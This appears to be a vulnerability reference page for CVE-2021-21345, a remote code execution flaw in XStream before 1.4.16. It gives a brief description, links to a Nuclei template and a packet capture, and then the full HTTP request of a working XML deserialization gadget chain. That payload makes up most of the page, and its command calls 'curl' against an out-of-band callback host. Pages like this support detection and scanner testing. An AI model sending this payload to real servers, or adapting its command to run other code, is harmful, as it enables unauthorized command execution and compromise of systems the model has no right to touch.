CVE-2021-21345: XStream < 1.4.16 - Remote Code Execution

🔍 Vulnerability Description

XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 2847
Content-Type: application/xml
Accept-Encoding: gzip

<java.util.PriorityQueue serialization='custom'>

  <unserializable-parents/>

  <java.util.PriorityQueue>

    <default>

      <size>2</size>

      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>

        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>

          <packet>

            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>

              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>

                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>

                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>

                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>

                      <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>

                      <uriProperties/>

                      <attributeProperties/>

                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>

                        <getter>

                          <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>

                          <name>verify</name>

                          <parameter-types/>

                        </getter>

                      </inheritedAttWildcard>

                    </bi>

                    <tagName/>

                    <context>

                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>

                        <outer-class reference='../..'/>

                      </marshallerPool>

                      <nameList>

                        <nsUriCannotBeDefaulted>

                          <boolean>true</boolean>

                        </nsUriCannotBeDefaulted>

                        <namespaceURIs>

                          <string>1</string>

                        </namespaceURIs>

                        <localNames>

                          <string>UTF-8</string>

                        </localNames>

                      </nameList>

                    </context>

                  </bridge>

                </bridge>

                <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>

                  <activationCmd>curl http://d5jn5i9le0o2k35mcd7gsiuykoqdtc1m7.oast.fun</activationCmd>

                </jaxbObject>

              </dataSource>

            </message>

            <satellites/>

            <invocationProperties/>

          </packet>

        </indexMap>

      </comparator>

    </default>

    <int>3</int>

    <string>javax.xml.ws.binding.attachments.inbound</string>

    <string>javax.xml.ws.binding.attachments.inbound</string>

  </java.util.PriorityQueue>

</java.util.PriorityQueue>

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21345.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21345.pcap